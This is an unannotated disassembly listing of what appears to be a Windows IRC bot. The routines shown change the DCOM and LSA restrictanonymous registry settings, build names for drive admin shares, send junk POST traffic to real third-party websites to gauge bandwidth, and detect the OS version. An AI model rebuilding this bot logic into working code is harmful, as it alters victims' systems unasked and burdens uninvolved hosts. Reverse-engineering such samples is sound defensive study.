		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4E3168	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41B10C
		mov	ax, word_4511BC
		mov	word ptr [ebp+Str+2], ax
		lea	eax, [ebp+Str+2]
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom_0 ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4E311C	; RegSetValueExA
		test	eax, eax
		jz	short loc_41B0EE
		push	offset dword_4511CC
		jmp	short loc_41B0F3
; ---------------------------------------------------------------------------

loc_41B0EE:				; CODE XREF: sub_41B081+64j
		push	offset asc_4511F0 ; "-"

loc_41B0F3:				; CODE XREF: sub_41B081+6Bj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E30D4	; RegCloseKey
		jmp	short loc_41B11F
; ---------------------------------------------------------------------------

loc_41B10C:				; CODE XREF: sub_41B081+36j
		lea	eax, [ebp+Dest]
		push	offset asc_45120C ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_41B11F:				; CODE XREF: sub_41B081+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41B13E
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h

loc_41B13E:				; CODE XREF: sub_41B081+A1j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4E3168	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41B1A8
		lea	eax, [ebp+Str]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanon_0 ; "restrictanonymous"
		push	[ebp+var_4]
		mov	dword ptr [ebp+Str], edi
		call	dword_4E311C	; RegSetValueExA
		test	eax, eax
		jz	short loc_41B18A
		push	offset dword_451250
		jmp	short loc_41B18F
; ---------------------------------------------------------------------------

loc_41B18A:				; CODE XREF: sub_41B081+100j
		push	offset asc_451290 ; "-"

loc_41B18F:				; CODE XREF: sub_41B081+107j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E30D4	; RegCloseKey
		jmp	short loc_41B1C2
; ---------------------------------------------------------------------------

loc_41B1A8:				; CODE XREF: sub_41B081+E2j
		push	offset dword_4512C8
		jmp	short loc_41B1B4
; ---------------------------------------------------------------------------

loc_41B1AF:				; CODE XREF: sub_41B081+13j
		push	offset asc_451304 ; "-"

loc_41B1B4:				; CODE XREF: sub_41B081+12Cj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_41B1C2:				; CODE XREF: sub_41B081+125j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41B1E1
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h

loc_41B1E1:				; CODE XREF: sub_41B081+144j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		cmp	dword_4E31F0, edi
		pop	ecx
		jnz	loc_41B356
		mov	esi, offset off_450F10

loc_41B1FF:				; CODE XREF: sub_41B081+1E7j
		push	dword ptr [esi+4] ; int
		push	dword ptr [esi]	; Str
		push	edi		; int
		call	sub_419A8C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41B21A
		push	offset dword_451334
		jmp	short loc_41B21F
; ---------------------------------------------------------------------------

loc_41B21A:				; CODE XREF: sub_41B081+190j
		push	offset asc_451354 ; "-"

loc_41B21F:				; CODE XREF: sub_41B081+197j
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41B252
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h

loc_41B252:				; CODE XREF: sub_41B081+1B5j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_450F20
		jb	short loc_41B1FF
		push	ebx
		call	ds:dword_4F5464	; GetLogicalDrives
		mov	edi, eax
		mov	bl, 41h
		test	edi, edi
		jz	loc_41B33E

loc_41B27D:				; CODE XREF: sub_41B081+2B7j
		mov	eax, edi
		and	eax, 1
		cmp	al, 1
		jnz	loc_41B334
		cmp	bl, 41h
		jz	loc_41B334
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4E3158	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_41B334
		lea	eax, [ebp+var_20]
		push	eax		; int
		lea	eax, [ebp+var_14]
		push	eax		; Str
		push	0		; int
		call	sub_419A8C
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41B2EE
		push	offset dword_451388
		jmp	short loc_41B2F3
; ---------------------------------------------------------------------------

loc_41B2EE:				; CODE XREF: sub_41B081+264j
		push	offset asc_4513A8 ; "-"

loc_41B2F3:				; CODE XREF: sub_41B081+26Bj
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41B327
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h

loc_41B327:				; CODE XREF: sub_41B081+28Aj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		pop	ecx

loc_41B334:				; CODE XREF: sub_41B081+203j
					; sub_41B081+20Cj ...
		inc	bl
		shr	edi, 1
		jnz	loc_41B27D

loc_41B33E:				; CODE XREF: sub_41B081+1F6j
		lea	eax, [ebp+Dest]
		push	offset asc_4513D0 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		xor	edi, edi
		pop	ecx
		pop	ebx
		jmp	short loc_41B369
; ---------------------------------------------------------------------------

loc_41B356:				; CODE XREF: sub_41B081+173j
		lea	eax, [ebp+Dest]
		push	offset asc_4513F4 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_41B369:				; CODE XREF: sub_41B081+2D3j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41B387
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h

loc_41B387:				; CODE XREF: sub_41B081+2EBj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41B081	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B39B	proc near		; CODE XREF: sub_41B592+CBp
					; sub_41B592+DDp ...

arg_0		= dword	ptr  4

		call	ds:dword_4F537C	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		call	_rand
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41B39B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41B3B5(char *Str)

sub_41B3B5	proc near		; CODE XREF: sub_41B592+D4p
					; sub_41B592+E6p ...

var_38		= dword	ptr -38h
Dst		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Memory		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+Str]	; Str
		call	_strlen
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41B58E
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		push	[ebp+Str]
		mov	[ebp+Dst], 2
		call	sub_40AE55
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41B58E
		push	50h
		call	dword_4E30F8	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4E3178	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41B58E
		lea	ecx, [ebp+Dst]
		push	10h
		push	ecx
		push	eax
		call	dword_4E30A0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B58E
		push	32003h		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		mov	edi, ds:dword_4F537C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+Memory], ebx
		call	edi	; GetTickCount
		push	eax		; Seed
		call	_srand
		call	_rand
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0		; Val
		push	ebx		; Dst
		movsx	esi, dl
		call	_memset
		push	32000h		; Size
		push	esi		; Val
		push	ebx		; Dst
		call	_memset
		push	ebx		; Str
		call	_strlen
		push	323EAh		; unsigned int
		mov	ebx, eax
		call	??2@YAPAXI@Z	; operator new(uint)
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+Str]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi		; Dest
		call	_sprintf
		push	[ebp+Memory]	; Source
		push	esi		; Dest
		call	_strcat
		push	offset asc_451458 ; "\r\n"
		push	esi		; Dest
		call	_strcat
		push	esi		; Str
		call	_strlen
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi	; GetTickCount
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+Str], eax
		jbe	short loc_41B50E
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41B4DE
; ---------------------------------------------------------------------------

loc_41B4DB:				; CODE XREF: sub_41B3B5+157j
		mov	eax, [ebp+Str]

loc_41B4DE:				; CODE XREF: sub_41B3B5+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41B4EE
		push	[ebp+var_C]
		jmp	short loc_41B4EF
; ---------------------------------------------------------------------------

loc_41B4EE:				; CODE XREF: sub_41B3B5+132j
		push	ebx

loc_41B4EF:				; CODE XREF: sub_41B3B5+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4E3148	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B575
		add	[ebp+Str], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+Str]
		cmp	eax, [ebp+var_10]
		jb	short loc_41B4DB

loc_41B50E:				; CODE XREF: sub_41B3B5+11Aj
		call	edi	; GetTickCount
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	ds:flt_43C4F4
		fst	[ebp+Str]
		fcomp	ds:flt_43C4F0
		fnstsw	ax
		sahf
		jnz	short loc_41B536
		fld1
		fstp	[ebp+Str]

loc_41B536:				; CODE XREF: sub_41B3B5+17Aj
		push	[ebp+var_4]
		call	dword_4E3190	; closesocket
		push	[ebp+Memory]	; Memory
		call	_free
		push	esi		; Memory
		call	_free
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+Str]
		fmul	ds:flt_43C4EC
		fmul	ds:flt_43C4E8
		call	__ftol

loc_41B570:				; CODE XREF: sub_41B3B5+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41B575:				; CODE XREF: sub_41B3B5+149j
		push	[ebp+var_4]
		call	dword_4E3190	; closesocket
		push	[ebp+Memory]	; Memory
		call	_free
		push	esi		; Memory
		call	_free
		pop	ecx
		pop	ecx

loc_41B58E:				; CODE XREF: sub_41B3B5+19j
					; sub_41B3B5+42j ...
		xor	eax, eax
		jmp	short loc_41B570
sub_41B3B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41B592(int,char *Str,int)

sub_41B592	proc near		; CODE XREF: sub_401CC7+2E52p

Dest		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41B39B
		push	[ebp+eax*4+var_3C] ; Str
		call	sub_41B3B5
		push	8
		mov	esi, eax
		call	sub_41B39B
		push	[ebp+eax*4+var_3C] ; Str
		call	sub_41B3B5
		add	esp, 10h
		test	esi, esi
		jz	short loc_41B693
		test	eax, eax
		jz	short loc_41B68F
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41B695
; ---------------------------------------------------------------------------

loc_41B68F:				; CODE XREF: sub_41B592+F4j
		mov	ebx, esi
		jmp	short loc_41B695
; ---------------------------------------------------------------------------

loc_41B693:				; CODE XREF: sub_41B592+F0j
		mov	ebx, eax

loc_41B695:				; CODE XREF: sub_41B592+FBj
					; sub_41B592+FFj
		push	0Ch
		call	sub_41B39B
		push	[ebp+eax*4+var_6C] ; Str
		call	sub_41B3B5
		push	0Ch
		mov	edi, eax
		call	sub_41B39B
		push	[ebp+eax*4+var_6C] ; Str
		call	sub_41B3B5
		add	esp, 10h
		test	edi, edi
		jz	short loc_41B6CD
		test	eax, eax
		jz	short loc_41B6C9
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6C9:				; CODE XREF: sub_41B592+12Ej
		mov	esi, edi
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6CD:				; CODE XREF: sub_41B592+12Aj
		mov	esi, eax

loc_41B6CF:				; CODE XREF: sub_41B592+135j
					; sub_41B592+139j
		push	6
		call	sub_41B39B
		push	[ebp+eax*4+var_1C] ; Str
		call	sub_41B3B5
		push	6
		mov	edi, eax
		call	sub_41B39B
		push	[ebp+eax*4+var_1C] ; Str
		call	sub_41B3B5
		add	esp, 10h
		test	edi, edi
		jz	short loc_41B707
		test	eax, eax
		jz	short loc_41B703
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41B709
; ---------------------------------------------------------------------------

loc_41B703:				; CODE XREF: sub_41B592+168j
		mov	ecx, edi
		jmp	short loc_41B709
; ---------------------------------------------------------------------------

loc_41B707:				; CODE XREF: sub_41B592+164j
		mov	ecx, eax

loc_41B709:				; CODE XREF: sub_41B592+16Fj
					; sub_41B592+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41B716
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41B719
; ---------------------------------------------------------------------------

loc_41B716:				; CODE XREF: sub_41B592+17Bj
		push	2
		pop	edi

loc_41B719:				; CODE XREF: sub_41B592+182j
		test	esi, esi
		jz	short loc_41B721
		add	eax, esi
		jmp	short loc_41B722
; ---------------------------------------------------------------------------

loc_41B721:				; CODE XREF: sub_41B592+189j
		dec	edi

loc_41B722:				; CODE XREF: sub_41B592+18Dj
		test	ecx, ecx
		jz	short loc_41B72A
		add	eax, ecx
		jmp	short loc_41B72B
; ---------------------------------------------------------------------------

loc_41B72A:				; CODE XREF: sub_41B592+192j
		dec	edi

loc_41B72B:				; CODE XREF: sub_41B592+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+Dest]
		push	offset asc_451608 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B76F	proc near		; CODE XREF: sub_401CC7+2591p
					; sub_401CC7+2A01p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_4F537C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset byte_4F34B8
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B76F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B7D8	proc near		; CODE XREF: sub_417A8B+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	ds:dword_4F539C	; GetVersionExA
		test	eax, eax
		jz	short loc_41B86B
		cmp	[ebp+var_90], 4
		jnz	short loc_41B841
		cmp	[ebp+var_8C], esi
		jnz	short loc_41B829
		cmp	[ebp+var_84], 1
		jnz	short loc_41B81C
		push	1
		pop	esi

loc_41B81C:				; CODE XREF: sub_41B7D8+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41B86B
		push	1
		jmp	short loc_41B86A
; ---------------------------------------------------------------------------

loc_41B829:				; CODE XREF: sub_41B7D8+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41B836

loc_41B832:				; CODE XREF: sub_41B7D8+78j
		push	2
		jmp	short loc_41B86A
; ---------------------------------------------------------------------------

loc_41B836:				; CODE XREF: sub_41B7D8+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41B86B
		jmp	short loc_41B85B
; ---------------------------------------------------------------------------

loc_41B841:				; CODE XREF: sub_41B7D8+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41B86B
		cmp	[ebp+var_8C], esi
		jz	short loc_41B832
		cmp	[ebp+var_8C], 1
		jnz	short loc_41B85F

loc_41B85B:				; CODE XREF: sub_41B7D8+67j
		push	3
		jmp	short loc_41B86A
; ---------------------------------------------------------------------------

loc_41B85F:				; CODE XREF: sub_41B7D8+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41B86B
		push	7

loc_41B86A:				; CODE XREF: sub_41B7D8+4Fj
					; sub_41B7D8+5Cj ...
		pop	esi

loc_41B86B:				; CODE XREF: sub_41B7D8+25j
					; sub_41B7D8+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B7D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B870	proc near		; CODE XREF: sub_41B92C+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_41B878:				; CODE XREF: sub_41B870+35j
					; sub_41B870+3Bj
		call	sub_41BCA2
		push	3E8h
		mov	edi, eax
		mov	ebx, edx
		call	ds:dword_4F534C	; Sleep
		call	sub_41BCA2
		sub	eax, edi
		push	0
		sbb	edx, ebx
		push	esi
		push	edx
		push	eax
		call	__aulldiv
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41B878
		jb	short loc_41B8AD
		cmp	ebx, esi
		ja	short loc_41B878

loc_41B8AD:				; CODE XREF: sub_41B870+37j
		push	0
		push	64h
		push	edi
		push	ebx
		call	__aullrem
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41B920
		jb	short loc_41B8CC
		cmp	esi, 50h
		jnb	short loc_41B8D1

loc_41B8CC:				; CODE XREF: sub_41B870+55j
		push	4Bh
		xor	edx, edx
		pop	eax

loc_41B8D1:				; CODE XREF: sub_41B870+5Aj
		test	ecx, ecx
		ja	short loc_41B920
		jb	short loc_41B8DC
		cmp	esi, 47h
		jnb	short loc_41B8E1

loc_41B8DC:				; CODE XREF: sub_41B870+65j
		push	42h
		xor	edx, edx
		pop	eax

loc_41B8E1:				; CODE XREF: sub_41B870+6Aj
		test	ecx, ecx
		ja	short loc_41B920
		jb	short loc_41B8EC
		cmp	esi, 37h
		jnb	short loc_41B8F1

loc_41B8EC:				; CODE XREF: sub_41B870+75j
		push	32h
		xor	edx, edx
		pop	eax

loc_41B8F1:				; CODE XREF: sub_41B870+7Aj
		test	ecx, ecx
		ja	short loc_41B920
		jb	short loc_41B8FC
		cmp	esi, 26h
		jnb	short loc_41B901

loc_41B8FC:				; CODE XREF: sub_41B870+85j
		push	21h
		xor	edx, edx
		pop	eax

loc_41B901:				; CODE XREF: sub_41B870+8Aj
		test	ecx, ecx
		ja	short loc_41B920
		jb	short loc_41B90C
		cmp	esi, 1Eh
		jnb	short loc_41B911

loc_41B90C:				; CODE XREF: sub_41B870+95j
		push	19h
		xor	edx, edx
		pop	eax

loc_41B911:				; CODE XREF: sub_41B870+9Aj
		test	ecx, ecx
		ja	short loc_41B920
		jb	short loc_41B91C
		cmp	esi, 0Ah
		jnb	short loc_41B920

loc_41B91C:				; CODE XREF: sub_41B870+A5j
		xor	eax, eax
		xor	edx, edx

loc_41B920:				; CODE XREF: sub_41B870+53j
					; sub_41B870+63j ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41B870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B92C	proc near		; CODE XREF: sub_401CC7+275Fp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
FullPath	= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
Dest		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
Dst		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
Drive		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_4F34F0
		mov	[ebp+var_CC], 94h
		call	ds:dword_4F539C	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B9B3
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B98F
		cmp	[ebp+var_BC], 1
		jnz	short loc_41B979
		mov	[ebp+var_4], offset a95_0 ; "95"

loc_41B979:				; CODE XREF: sub_41B92C+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41BA2E
		mov	[ebp+var_4], offset aNt_0 ; "NT"
		jmp	short loc_41B9FF
; ---------------------------------------------------------------------------

loc_41B98F:				; CODE XREF: sub_41B92C+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B9A1
		mov	[ebp+var_4], offset a98_0 ; "98"
		jmp	short loc_41B9F6
; ---------------------------------------------------------------------------

loc_41B9A1:				; CODE XREF: sub_41B92C+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B9EF
		mov	[ebp+var_4], offset aMe_1 ; "ME"
		jmp	short loc_41B9F6
; ---------------------------------------------------------------------------

loc_41B9B3:				; CODE XREF: sub_41B92C+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B9EF
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B9CD
		mov	[ebp+var_4], offset a2k_0 ; "2K"
		jmp	short loc_41B9F6
; ---------------------------------------------------------------------------

loc_41B9CD:				; CODE XREF: sub_41B92C+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B9DF
		mov	[ebp+var_4], offset aXp_0 ; "XP"
		jmp	short loc_41B9F6
; ---------------------------------------------------------------------------

loc_41B9DF:				; CODE XREF: sub_41B92C+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B9F6

loc_41B9EF:				; CODE XREF: sub_41B92C+7Cj
					; sub_41B92C+8Ej
		mov	[ebp+var_4], offset a???_0 ; "???"

loc_41B9F6:				; CODE XREF: sub_41B92C+73j
					; sub_41B92C+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41BA2E

loc_41B9FF:				; CODE XREF: sub_41B92C+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41BA2E
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+Dest]
		push	[ebp+var_4]
		push	offset aSS_12	; "%s (%s)"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_41BA2E:				; CODE XREF: sub_41B92C+54j
					; sub_41B92C+D1j ...
		mov	ax, word_4516A0
		push	3Fh
